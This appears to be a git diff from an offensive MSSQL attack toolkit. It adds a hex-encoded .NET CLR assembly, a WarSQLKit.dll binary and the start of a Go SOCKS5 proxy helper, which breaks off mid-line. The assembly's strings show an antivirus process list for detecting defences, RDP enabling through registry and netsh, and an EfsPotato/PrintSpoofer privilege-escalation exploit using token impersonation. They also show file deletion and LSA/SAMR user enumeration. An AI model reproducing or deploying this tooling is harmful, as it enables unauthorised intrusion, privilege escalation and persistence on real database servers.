B013361006600770053006500720076003A00200041007600610073007400200041006E00740069007600690072007500730020000023730061006600650062006F00780054007200610079003A003300360030004067D26B0121330036003000730061006600650062006F0078003A003300360030004067D26B011F510051005000430054007200610079003A005100510035751181A17BB65B011D4B00530061006600650054007200610079003A00D191715CD26B3897011B4B0053006100660065005300760063003A00D191715CD26B389701174B00570061007400630068003A00D191715CD26B3897012D67006F0076005F0064006500660065006E00630065005F0073006500720076006900630065003A00914E0195012B67006F0076005F0064006500660065006E00630065005F006400610065006D006F006E003A00914E0195013973006D00610072007400730063007200650065006E003A00570069006E0064006F0077007300200044006500660065006E0064006500720000256D00610063006F006D007000610074007300760063003A004D006300410066006500650000296D00630061006D006E007300760063002E0065007800650020003A004D006300410066006500650000196D0061007300760063003A004D0063004100660065006500001B6D00660065006D006D0073003A004D0063004100660065006500001B6D00630074006100720079003A004D0063004100660065006500001F6D00630073006800690065006C0064003A004D006300410066006500650000196D0066006500770063003A004D0063004100660065006500001B6D00660065007700630068003A004D006300410066006500650000196D0066006500660077003A004D0063004100660065006500001D6D006600650066006900720065003A004D006300410066006500650000196D0066006500740070003A004D006300410066006500650000216D0066006500630061006E006100720079003A004D006300410066006500650000236D006600650063006F006E0073006F006C0065003A004D0063004100660065006500001B6D00660065006500730070003A004D0063004100660065006500001766006300610067003A004D00630041006600650065000019660063006100670073003A004D0063004100660065006500001D66006300610067007300770064003A004D0063004100660065006500001D66006300610067006100740065003A004D0063004100660065006500003133003600300045006E00740043006C00690065006E0074003A002959CE6445004400520020004100670065006E00740001336500640072005F007300650063005F0070006C0061006E003A00F16DE14F0D6745004400520020004100670065006E00740001316500640072005F006D006F006E00690074006F0072003A00F16DE14F0D6745004400520020004100670065006E007400012D6500640072005F006100670065006E0074003A00F16DE14F0D6745004400520020004100670065006E0074000137450053004300430043006F006E00740072006F006C003A002F540E661F66B08F2959E37345004400520020004100670065006E007400012945005300430043003A002F540E661F66B08F2959E37345004400520020004100670065006E007400012945005300410056003A002F540E661F66B08F2959E37345004400520020004100670065006E0074000133450053004300430049006E006400650078003A002F540E661F66B08F2959E37345004400520020004100670065006E007400011F41006C006900590075006E00440075006E003A003F96CC91914E914EFE7601257700640073007700660073006100660065003A003300360030004067D26B2D00517FFE760161530059005300540045004D005C00430075007200720065006E00740043006F006E00740072006F006C005300650074005C0043006F006E00740072006F006C005C005400650072006D0069006E0061006C00200053006500720076006500720000256600440065006E0079005400530043006F006E006E0065006300740069006F006E007300008089530059005300540045004D005C00430075007200720065006E00740043006F006E00740072006F006C005300650074005C0043006F006E00740072006F006C005C005400650072006D0069006E0061006C0020005300650072007600650072005C00570069006E00530074006100740069006F006E0073005C005200440050002D00540063007000011550006F00720074004E0075006D006200650072000003300000355B002A005D002000520044005000200069007300200061006C0072006500610064007900200065006E00610062006C006500640000235B002B005D002000520044005000200050006F00720074003A0020007B0030007D0000495B002A005D0020005200440050002000690073002000640069007300610062006C00650064002C00200065006E00610062006C0069006E00670020006900740020002E002E002E00003743003A005C00570069006E0064006F00770073005C00530079007300740065006D00330032005C0063006D0064002E00650078006500004373006300200063006F006E0066006900670020007400650072006D0073006500720076006900630065002000730074006100720074003D0020006100750074006F00005F6E00650074007300680020006600690072006500770061006C006C002000730065007400200073006500720076006900630065002000720065006D006F00740065006400650073006B0074006F007000200065006E00610062006C00650000096500780069007400000F63006D0064002E00650078006500000920002F0063002000001B5B002B005D002000500072006F0063006500730073003A002000001F5B002B005D00200061007200670075006D0065006E00740073003A00200000215B002B005D002000520075006E0043006F006D006D0061006E0064003A0020000003200000030A00001753007400640020006F00750074007000750074003A0000095B0058005D00200000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A0020000080ED4500780070006C006F0069007400200066006F007200200045006600730050006F007400610074006F0028004D0053002D00450046005300520020004500660073005200700063004F00700065006E00460069006C0065005200610077002000770069007400680020005300650049006D0070006500720073006F006E00610074006500500072006900760069006C0065006700650020006C006F00630061006C002000700072006900760061006C00650067006500200065007300630061006C006100740069006F006E002000760075006C006E00650072006100620069006C0069007400790029002E000159500061007200740020006F006600200047004D0048002700730020006600750063006B00200054006F006F006C0073002C00200043006F006400650020004200790020007A00630067006F006E00760068002E000D000A0001255B002B005D002000430075007200720065006E007400200075007300650072003A002000002D5300650049006D0070006500720073006F006E00610074006500500072006900760069006C0065006700650000495B0078005D0020005300650049006D0070006500720073006F006E00610074006500500072006900760069006C0065006700650020006E006F0074002000680065006C0064002E000003640000135C005C002E005C0070006900700065005C0000195C0070006900700065005C0073007200760073007600630000335B0078005D002000630061006E0020006E006F0074002000630072006500610074006500200070006900700065003A002000001F5B002B005D002000470065007400200054006F006B0065006E003A002000001F570069006E0053007400610030005C00440065006600610075006C007400000F7B0030007D0020007B0031007D0000255B002B005D00200043006F006D006D0061006E00640020003A0020007B0030007D00200000808D5B0021005D002000700072006F0063006500730073002000770069007400680020007000690064003A0020007B0030007D00200063007200650061007400650064002E000D000A003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D003D000D000A000D000A0000315B0078005D0020006F007000650072006100740069006F006E002000740069006D006500640020006F00750074002E00003763003A005C00570069006E0064006F00770073005C00530079007300740065006D00330032005C0063006D0064002E0065007800650000072F006300200000235C005C006C006F00630061006C0068006F00730074002F0050004900500045002F0000052F005C0000035C000049630036003800310064003400380038002D0064003800350030002D0031003100640030002D0038006300350032002D0030003000630030003400660064003900300066003700650001195C0070006900700065005C006C007300610072007000630000136C006F00630061006C0068006F0073007400003B5B0078005D004500660073005200700063004F00700065006E00460069006C00650052006100770020006600610069006C00650064003A00200000116E006300610063006E005F006E00700000615B0078005D0052007000630053007400720069006E006700420069006E00640069006E00670043006F006D0070006F007300650020006600610069006C00650064002000770069007400680020007300740061007400750073002000300078000003780000695B0078005D00520070006300420069006E00640069006E006700460072006F006D0053007400720069006E006700420069006E00640069006E00670020006600610069006C006500640020007700690074006800200073007400610074007500730020003000780000595B0078005D00520070006300420069006E00640069006E0067005300650074004F007000740069006F006E0020006600610069006C0065006400200077006900740068002000730074006100740075007300200030007800002D5B0021005D00620069006E00640069006E00670020006F006B0020002800680061006E0064006C0065003D000003290000215B002B005D002000720065006D006F0074006500460069006C0065003A002000001B5F002A002E0063006F006E006600690067005F0074007800740000175B002B005D00200063006F0075006E0074003A00200000235B002B005D00200063006F006D00620069006E006500660069006C0065003A002000003F5B002A005D00200027007B0030007D002700200043006F006D00620069006E006500460069006C006500200063006F006D0070006C00650074006500640001675B002A005D002000520065006D006F00760065006400200061006C006C0020006300680069006C00640020006900740065006D007300200061006E0064002000640065006C00650074006500640020006400690072006500630074006F00720079003A002000006F5B0021005D0020004500720072006F0072003A0020006100630063006500730073002000640065006E0069006500640020002D00200063006F0075006C00640020006E006F0074002000640065006C0065007400650020006400690072006500630074006F00720079003A002000016B5B0021005D0020004500720072006F0072003A00200049004F0045007800630065007000740069006F006E0020002D00200063006F0075006C00640020006E006F0074002000640065006C0065007400650020006400690072006500630074006F00720079003A00200001695B0021005D0020004500720072006F0072003A00200055006E0065007800700065006300740065006400200065007800630065007000740069006F006E002000640065006C006500740069006E00670020006400690072006500630074006F00720079003A00200000255B002A005D002000440065006C0065007400650064002000660069006C0065003A00200000655B0021005D0020004500720072006F0072003A0020006100630063006500730073002000640065006E0069006500640020002D00200063006F0075006C00640020006E006F0074002000640065006C006500740065002000660069006C0065003A00200001615B0021005D0020004500720072006F0072003A00200049004F0045007800630065007000740069006F006E0020002D00200063006F0075006C00640020006E006F0074002000640065006C006500740065002000660069006C0065003A002000015F5B0021005D0020004500720072006F0072003A00200055006E0065007800700065006300740065006400200065007800630065007000740069006F006E002000640065006C006500740069006E0067002000660069006C0065003A002000005B5B0021005D0020004500720072006F0072003A002000660069006C00650020006F00720020006400690072006500630074006F0072007900200064006F006500730020006E006F0074002000650078006900730074003A002000003F0D000A005B002B005D002000470065007400430075007200720065006E0074004400690072003A0020000D000A0009007B0030007D000D000A000D000A0000390D000A005B002B005D002000530065007400430075007200720065006E0074004400690072003A0020007B0030007D000D000A000D000A0000050D000A0000375B0021005D0020004500720072006F0072003A002000660069006C00650020006E006F007400200066006F0075006E0064003A00200000515B0021005D0020004500720072006F0072003A0020006E006F0020007000650072006D0069007300730069006F006E007300200074006F00200072006500610064002000660069006C0065003A00200000475B0021005D0020004500720072006F0072003A002000660069006C006500200063006F0075006C00640020006E006F007400200062006500200072006500610064003A00200000555B0021005D0020004500720072006F0072003A00200055006E006500780070006500630074006500640020006500720072006F0072002000720065006100640069006E0067002000660069006C0065003A00200000090D000A000D000A0000270D000A005B002B005D0020004C00690073007400500072006F0063006500730073000D000A00001D7B0030002C002D00310030007D0020007B0031002C002D0031007D000113500072006F006300650073007300490064000017500072006F0063006500730073004E0061006D00650000310A00200020004400690072006500630074006F007200790020006C0069007300740069006E00670020006F0066002000004B5B0021005D0020004500720072006F0072003A0020006400690072006500630074006F0072007900200064006F006500730020006E006F0074002000650078006900730074003A002000005B5B0021005D0020004500720072006F0072003A0020006E006F0020007000650072006D0069007300730069006F006E007300200074006F002000720065006100640020006400690072006500630074006F00720079003A00200000655B0021005D0020004500720072006F0072003A00200075006E00680061006E0064006C0065006400200065007800630065007000740069006F006E0020006C0069007300740069006E00670020006400690072006500630074006F00720079003A00200000255B002A005D00200054006800650020006400690072006500630074006F007200790020000015200069007300200065006D007000740079002100003F4C0061007300740020004D006F0064006900660079002000200020002000200020005400790070006500200020002000200020004F0077006E0065007200000F200020002000530069007A0065000021200020002000460069006C0065002F0044006900720020004E0061006D00650000353D003D003D003D003D003D003D003D003D003D003D003D003D003D002000200020003D003D003D003D003D003D00200020002000000720002000200000212000200020003D003D003D003D003D003D003D003D003D003D003D003D003D0000257B0030003A004D004D002F00640064002F00790079002000480048003A006D006D007D0000133C0055006E006B006E006F0077006E003E0000192000200020003C00460069006C0065003E0020002000200000192000200020003C004400690072003E002000200020002000002F5B002A005D00200048006F0073007400200069007300200072006500610063006800610062006C0065003A00200000335B0021005D00200048006F0073007400200069007300200075006E0072006500610063006800610062006C0065003A00200000674C006F00630061006C00200041006400640072006500730073002000200020002000200020002000200020002000520065006D006F0074006500200041006400640072006500730073002000200020002000200020002000200020005300740061007400650000673D003D003D003D003D003D003D003D003D003D003D003D003D0020002000200020002000200020002000200020003D003D003D003D003D003D003D003D003D003D003D003D003D003D002000200020002000200020002000200020003D003D003D003D003D00000F30002E0030002E0030002E00300000134C0049005300540045004E0049004E0047000017450053005400410042004C004900530048004500440000034E0000335C005C002E005C0070006900700065005C007B0030007D005C0070006900700065005C00730070006F006F006C007300730000375B002A005D0020007B0030007D00200053007500630063006500730073002100200049006E0074005000740072003A007B0031007D0000214300720065006100740065004E0061006D006500640050006900700065005700000B5C005C007B0030007D00001D5C005C007B0030007D002F0070006900700065002F007B0031007D00005B520070006300520065006D006F0074006500460069006E006400460069007200730074005000720069006E007400650072004300680061006E00670065004E006F00740069006600690063006100740069006F006E004500780000395B002A005D00200043006F006E006E006500630074004E0061006D0065005000690070006500200053007500630063006500730073002100002D5B002A005D002000430075007200720065006E00740055007300650072004E0061006D00650020003A00200000435B002A005D002000430075007200720065006E00740043006F006E006E00650063007400500069007000650055007300650072004E0061006D00650020003A002000004F5B002A005D00200049006D0070006500720073006F006E006100740065004E0061006D0065006400500069007000650043006C00690065006E007400200053007500630063006500730073002100001F4F00700065006E0054006800720065006100640054006F006B0065006E0000214400750070006C006900630061007400650054006F006B0065006E004500780000375B002A005D00200053006500740054006800720065006100640054006F006B0065006E0020005300750063006300650073007300210000575B002A005D0020007B0030007D0020005300750063006300650073007300210020006F00750074005F0072006500610064003A007B0031007D0020006F00750074005F00770072006900740065003A007B0032007D0000234300720065006100740065004F00750074005200650061006400500069007000650000375B0021005D0020004300720065006100740065004F00750074005200650061006400500069007000650020006600610069006C00210000575B002A005D0020007B0030007D0020005300750063006300650073007300210020006500720072005F0072006500610064003A007B0031007D0020006500720072005F00770072006900740065003A007B0032007D0000234300720065006100740065004500720072005200650061006400500069007000650000375B0021005D0020004300720065006100740065004500720072005200650061006400500069007000650020006600610069006C002100003F5B002A005D0020007B0030007D002000530075006300630065007300730021002000500072006F0063006500730073005000690064003A007B0031007D00002F430072006500610074006500500072006F006300650073007300570069007400680054006F006B0065006E00570000112F0063006D0064002E00650078006500000F63006D00640020002F0063002000004150007200650070006100720069006E006700200074006F0020006C006F00670069006E002000770069007400680020006C006F00670069006E0020003D0020000015200064006F006D00610069006E0020003D002000000947006F0074002000003120007700680065006E00200074007200790069006E006700200074006F00200063006F006E0076006500720074002000000F2000610073002000730069006400000D4500720072006F0072002000002520007700680065006E0020007400720061006E0073006C006100740069006E0067002000000920006F006E00200000214C00730061004F00700065006E0050006F006C0069006300790020003000780000234C00730061004C006F006F006B00750070004E0061006D006500730020003000780000234C0061006E006D0061006E0057006F0072006B00730074006100740069006F006E00001F4700650074005300740061007200740075007000540069006D006500200000152000720065007400750072006E006500640020000017420069006E00640069006E006700200074006F002000005B52007000630053007400720069006E006700420069006E00640069006E00670043006F006D0070006F007300650020006600610069006C00650064002000770069007400680020007300740061007400750073002000300078000063520070006300420069006E00640069006E006700460072006F006D0053007400720069006E006700420069006E00640069006E00670020006600610069006C0065006400200077006900740068002000730074006100740075007300200030007800005B520070006300420069006E00640069006E006700530065007400410075007400680049006E0066006F004500780020006600610069006C00650064002000770069007400680020007300740061007400750073002000300078000053520070006300420069006E00640069006E0067005300650074004F007000740069006F006E0020006600610069006C00650064002000770069007400680020007300740061007400750073002000300078000027620069006E00640069006E00670020006F006B0020002800680061006E0064006C0065003D00001575006E00620069006E00640069006E00670020000049310032003300340035003700370038002D0031003200330034002D0041004200430044002D0045004600300030002D0030003100320033003400350036003700380039004100420001314C007300610072004F00700065006E0050006F006C0069006300790020006600610069006C006500640020003000780000274C0073006100720043006C006F007300650020006600610069006C006500640020003000780000494C007300610072005100750065007200790049006E0066006F0072006D006100740069006F006E0050006F006C0069006300790020006600610069006C006500640020003000780000314C007300610072004C006F006F006B0075007000530069006400730020006600610069006C00650064002000300078000049310032003300340035003600370038002D0031003200330034002D0041004200430044002D0045004600300030002D00300031003200330034003500360037004300460046004200011D5C0070006900700065005C006E00650074006C006F0067006F006E00003145006E0075006D00650072006100740065004100630063006F0075006E0074005500730069006E0067004C0073006100001F4C007300610072004F00700065006E0050006F006C00690063007900200000374C007300610072005100750065007200790049006E0066006F0072006D006100740069006F006E0050006F006C00690063007900200000334C007300610072004C006F006F006B00750070005300690064007300200069007400650072006100740069006F006E002000000B55007300650072003A00001F4C007300610072004C006F006F006B007500700053006900640073002000003B45006E0075006D00650072006100740065004100630063006F0075006E0074005500730069006E0067004C0073006100200064006F006E006500003345006E0075006D00650072006100740065004100630063006F0075006E0074005500730069006E006700530061006D0072000019530061006D00720043006F006E006E0065006300740020000041530061006D00720045006E0075006D006500720061007400650044006F006D00610069006E00730049006E00530061006D005300650072007600650072002000000F44006F006D00610069006E003A000039530061006D0072004C006F006F006B007500700044006F006D00610069006E0049006E00530061006D005300650072007600650072002000001F530061006D0072004F00700065006E0044006F006D00610069006E002000004B530061006D00720045006E0075006D00650072006100740065005500730065007200730049006E0044006F006D00610069006E00200069007400650072006100740069006F006E0020000037530061006D00720045006E0075006D00650072006100740065005500730065007200730049006E0044006F006D00610069006E002000003D45006E0075006D00650072006100740065004100630063006F0075006E0074005500730069006E006700530061006D007200200064006F006E0065000049310032003300340035003700370038002D0031003200330034002D0041004200430044002D0045004600300030002D0030003100320033003400350036003700380039004100430001155C0070006900700065005C00730061006D007200002B530061006D00720043006F006E006E0065006300740020006600610069006C00650064002000300078000033530061006D00720043006C006F0073006500480061006E0064006C00650020006600610069006C00650064002000300078000053530061006D00720045006E0075006D006500720061007400650044006F006D00610069006E00730049006E00530061006D0053006500720076006500720020006600610069006C0065006400200030007800004B530061006D0072004C006F006F006B007500700044006F006D00610069006E0049006E00530061006D0053006500720076006500720020006600610069006C00650064002000300078000031530061006D0072004F00700065006E0044006F006D00610069006E0020006600610069006C00650064002000300078000049530061006D00720045006E0075006D00650072006100740065005500730065007200730049006E0044006F006D00610069006E0020006600610069006C00650064002000300078000049310032003300340035003600370038002D0031003200330034002D0041004200430044002D0045004600300030002D00300031003200330034003500360037003800390041004200011B5C0070006900700065005C00730070006F006F006C007300730000315200700063004F00700065006E005000720069006E0074006500720020006600610069006C0065006400200030007800003352007000630043006C006F00730065005000720069006E0074006500720020006600610069006C0065006400200030007800006F520070006300520065006D006F0074006500460069006E006400460069007200730074005000720069006E007400650072004300680061006E00670065004E006F00740069006600690063006100740069006F006E004500780020006600610069006C0065006400200030007800000000B1B48E49EFD5934E9B2F739072A33FFC0008B77A5C561934E089090004080E08101110080A0005080E0E0810110C08072004010E0E0E0E062003010E0E0E0320000102060E020608050002010E0E050002020E0E0B0007021809121D0918181803000002040001010E060003180902090800051818180909090900050218181C09100907000318112C0209060003181818180400010918040001021811000A02180E18180209181810114010113805000111380E0800021D051D051D050306112804FF0F1F000401000000040200000004080000000410000000042000000004400000000480000000040001000004000200000400040000040010000004000010000306112C041A00000004FB030000030611300400200000040000080004000000010400000008030611340404000000040000004002061802060902060703000001070000151221010E0500020E0E0E040001011C0A000502181D05081008180A0007180E0808180808180B0008180E080808080808180500021818180B00060218021011540818180B0004021018101810116808080003020E0E10115C12000B02180E0E18180208181810116410116004061D11580306115C020606052001011225060002080E10180500010810180A0006080E0E0E0E0E1018060003081809180A00061818181810180E0803061D05030611290720030810180E080306112D03061274030612780C20060111291D051D050E070704000118080400010118042001181804200118080320001806200218081D18052002011C1808200312310812351C052001181231042001011808200312311812351C0520010112310520020107070406118080040611808407200301112907070720040118181818060002011D0E0E0500010112390800021D0E1D0E1D0E060002021D0E0E040001020E050002021818030000180E0008180E080808080808101180980B0007021818181818123D0808000402180A0210180A000602180A0808081018070003021018180214000B02180E0E18180208180E1011809C101180A00C000402101810181011809808060003021808081200090218080E0E08180E1011809C101180A0040300000004090000000400000000047A00000004EC0300000A0006020E0E0E08081018070002124112450E120007020E1D05123D1009123D1009101180A8110007020E0E1D051009123D1009101180A806000212490E0E0700030E0E0E100E0B000408101180AC101808080900040818081D051018080004081808081018080003081810181008040001081804000108080E0007080E081018091008100810080E000409101180AC101180BC0910180B00050918101810180910090A00030818101180AC10180A000509180818101810180D00050918081D1180AC101810180C0006080E0E180E1180E41018090005090E0E08081018050001114D0E070003020E101818090004090E09101810090600030E0E020204061180A8040500000004060000000407000000042001010E0320000E04061180B00400000080040100008004020000800403000080062003010E090E04061180AC02060A04061180C804061180CC04061180E40400080000040040000004008000000400000100040000020004061180EC043F0000000306124904061180F8040A00000004061281240406128128040612811C040612812003200002042001010205000201181802060203280002040611810C04061181100820050118181818180520020118180920041231181812351C072003080E091018052001081018092003081809101280F40620011280F4180F200508181D1249101D1280FC0910090E20021181381D124915122101112D0820021D1280FC181807000318181810180B00051818181808101181640D00061818181810118130091018090005181818180910180F000818181818118138101818091009090005181818181018090D000718181818101810180910090B0005181818181180AC10180B000618181818081D0510180E00081818181810180810180810090E00071818180E10180E1011818C080B00081818181809090E091810000708180E09091011815009101181540C000608180E0909101181500909000608180E09091909060003081809090500021818090400011818040611815C0D2003080E0810151221011281580C200115122101128158118164040611816C05200012817406200101128174032000090420010109072002010E12817404200102080720020211816C08070002124912490904061281740528001281740328000E032800090520010112510920031231125112351C072003080E1018090E200508181018101D1281780910090720011D1281781808200308180E101249092004081808124910180F20060818101808101D1281780810090C2005080E10180E1011818C08082005081809090E090406118190052001011159011501280102022A50020100020000010104FFFFFF7F05200101116D0420010108050000128081050702111002050702110C020620010111808905070212080E06000112808D0E05200012809505200012809D072002010E1180A5072003081D050808072003011D05080815070812809112809912809D12809D1D05081280B1020400001241052001011241062001021180B907070212411280B50500020E0E1C0500011D050E0A20030112809D1180C5020D07041D051280A11280C11280B10700011D1280CD0E0600011280CD08032000080700040E0E1C1C1C0600030E0E1C1C0D2004010E1180A51180D91180DD0520001280E10400010E0E04061280ED0620011280ED0E0420011C0E1D070E0818091280CD1D1280CD1280B11280B1020E0E1280A10E0E1280ED042001020E0620011D0E1D030520020E0E0E0600021D0E0E0E46072D1D0E0E0E1D0E1D0E1D0E1D0E1D0E1D0E0E0E0E0E1D0E0E0E0E1D0E0E0E0E1D0E0E0E1D0E0E0E1D0E0E1D0E0E0E0E0E0E1D031D031D031D031D031D031D031D031D031D0307070309114011380507021D05080500001281090520011D050E1007091D051D05091138181818021280B111070A0E1D051D05091138181818021280B10E07081D05091138181818021280B1071512810D020E0E05151221010E092000151181110113000615118111010E04200013000900031D0E0E0E11811507200201130013010600001D1280CD08200202130010130122070C1512810D020E0E0E1D0E0E0E0E081D1280CD1280CD15118111010E1D1280CD080A2001011512811D011300090702151221010E1D0E082003010E1C1181210520001281250520001281291307071280ED1280ED0E1280ED0E1280ED1280CD0306123D072002011C128135052001123D0E0700040E0E0E0E0E062001011181390620010112813D0520001281410500010E1D1C1007061280CD0E1280B1123D1281981D1C0600020E0E1D1C040001081C0300000804000011290420010E0E0600030E0E0E0E06200101128159042001011C0500020E1C1C0A000301128161128161080520010E1D052807151D1158124111540E0E1812815512815D12815D1811681818116011640E1D05081D0511291D1C2A07170E0E1D1158124111540E0E1812815512815D12815D1811681818116011640E1D05081D0511291D1C0500010E1D0E0B07050E1270181280B11D0E021D1C0807031D1C18128155021E01040001180E080002112D1C1181690320000A0C0708181818112D1808081D18060001181281750A0703118088117C11808C030701180400010E18042001010A0607040E1818080700021812816108050702112D1804061181A00900020112816111817D04061181A404061181A8080001128181118185060001081281810507011180800E200B01090707050505050505050504200101050F070608081D1280A11280A1081280B10E07071281890E0E0E1D0E081280B10520001D12390620001D1281890620010111819510070612391281891D1239081D12818908050002010E02070002010E1181950B07040E12391280B11280B10300000E0520020E0808030701080607020E1280B10E07041D1280CD1280CD1D1280CD080520001D13000707040E021D0E080500011D0E0E07100101011D1E00030A010E0600011281AD0E0820011281B51281810520020103082A071B0E1D0E1D0E0A08081280B11D0E0E0A0E0E0E114D0E0E0A1D0E081D0E081D0E1D0E1D0E081D1C1D0E0620011281C10E0520001181C5090703021281BD1281C10500001281CD0620001D1281D10520001281D50620001D1281D90520001281D11A070A1281CD1281D11281D91D1281D1081D1C081D1281D9081D1C062001011281DD2E07161180980E12818811818C1812815D123D18181180981818181811809C1180A01D05081D051281DD1281AC11292F07171180980E12818811818C1812815D123D18181180981818181811809C1180A00E1D05081D051281DD1281B01129092002011181E91181ED0C010003000000010000000000050703180E020307010E062002011D050804200108080C07061D0509123D091180A808062001011181F9809D2E01808753797374656D2E53656375726974792E5065726D697373696F6E732E456E7669726F6E6D656E745065726D697373696F6E4174747269627574652C206D73636F726C69622C2056657273696F6E3D322E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D62373761356335363139333465303839110154020C556E72657374726963746564010600030E1C1C1C18070C123D09123D091180A812491280B11D05080E1D0E1D1C81172E01808453797374656D2E53656375726974792E5065726D697373696F6E732E53656375726974795065726D697373696F6E4174747269627574652C206D73636F726C69622C2056657273696F6E3D322E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D62373761356335363139333465303839808D0154557F53797374656D2E53656375726974792E5065726D697373696F6E732E53656375726974795065726D697373696F6E466C61672C206D73636F726C69622C2056657273696F6E3D322E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D6237376135633536313933346530383905466C616773020000000700021C181281811B070B1180AC1180BC18091180AC18181180D41180C012491D1180AC0306114D050001114D0A0B070518091180E8114D1D1C0420010E080B07051180E0181180E4080E808A2E01808453797374656D2E53656375726974792E5065726D697373696F6E732E53656375726974795065726D697373696F6E4174747269627574652C206D73636F726C69622C2056657273696F6E3D322E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D6237376135633536313933346530383901000500020E1808010801161101000C7B446F6D61696E4E616D657D00002201001D7B446F6D61696E4E616D657D207B5472616E736C617465644E616D657D00000E07041181141181081181181181040E07070E181808118150118154112D08070211810C11810C080702118110118110040701112912070B181181301818112D18112D18081D18080B07071818112D18081D18080C0708181818112D18081D18080807021181341280F40615122101112D052001011300071511811101112D2B071415122101112D1818118144112D18118138112D1818112D1818112D18112D081D18081511811101112D0E07061181381D18081D05112D112D1B070B11813C11814408081D0E1D1249091181401D1280FC0911814804061181B404061181B804061181BC04061181C0280100237B446E73446F6D61696E4E616D657D207B4E657462696F73446F6D61696E4E616D657D00000D07071818118164112D18081D18071512210112815811070515122101128158080811816812815804061181C404061181C804061181CC04061181D0052002010E0E19070E08081812812C1280F40908081D124908091D1280FC08021B0710081812817C08181D128178090B124918181D1281780908080204000105180500020118050500020118080C07071D05112D1818051812490B0100067B4E616D657D000014070E181818112D1818112D1818112D18081D18080E07051181801D128178080811818412070B18181180AC112D1818112D18081D180810070A181D05112D1818112D18081D180804061181D404061181D804061181DC04061181E010070B18181818112D18112D18081D18080807051818081D180804061181E404061181E804061181EC04061181F00801000200000000000801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F77730100000000009CD90B6100000000020000001C010000E4EC0100E4CE01005253445341BE1BA733C9B3489DA0F37E2427EFCC01000000643A5C6D79636F64655C536861727053514C546F6F6C735C434C522D6D6F64756C655C6F626A5C52656C656173655C434C525F6D6F64756C652E7064620000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000028EE010000000000000000003EEE010000200000000000000000000000000000000000000000000030EE01000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF2500200010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058000200540200000000000000000000540234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004B4010000010053007400720069006E006700460069006C00650049006E0066006F0000009001000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E003000000040000F00010049006E007400650072006E0061006C004E0061006D006500000043004C0052005F006D006F00640075006C0065002E0064006C006C00000000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000048000F0001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000043004C0052005F006D006F00640075006C0065002E0064006C006C0000000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000E001000C000000503E00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 \ No newline at end of file diff --git a/cmd/static/WarSQLKit.dll b/cmd/static/WarSQLKit.dll new file mode 100644 index 0000000..3c17b7c Binary files /dev/null and b/cmd/static/WarSQLKit.dll differ diff --git a/cmd/tools.go b/cmd/tools.go new file mode 100644 index 0000000..d0c1d5c --- /dev/null +++ b/cmd/tools.go @@ -0,0 +1,148 @@ +package cmd + +import ( + "bufio" + "bytes" + "database/sql" + "fmt" + "github.com/olekukonko/tablewriter" + "golang.org/x/net/proxy" + "log" + "net" + "os" + "strings" + "time" +) + +// socks5代理连接功能 + +func ConnBySOCKS5()(proxy.Dialer,error){ + // 解析连接过来的socks5字符串 + if strings.ContainsAny(ProxyHost,"@") && strings.Count(ProxyHost,"@") == 1 { + info := strings.Split(ProxyHost,"@") + userpass := strings.Split(info[0],":") + auth := proxy.Auth{User:userpass[0],Password:userpass[1]} + dialer, err := proxy.SOCKS5("tcp",info[1],&auth,proxy.Direct) + return dialer,err + } else { + if strings.ContainsAny(ProxyHost,":") && strings.Count(ProxyHost,":")==1{ + dialer,err:= proxy.SOCKS5("tcp",ProxyHost,nil,proxy.Direct) + return dialer,err + } + } + return nil,fmt.Errorf("proxy 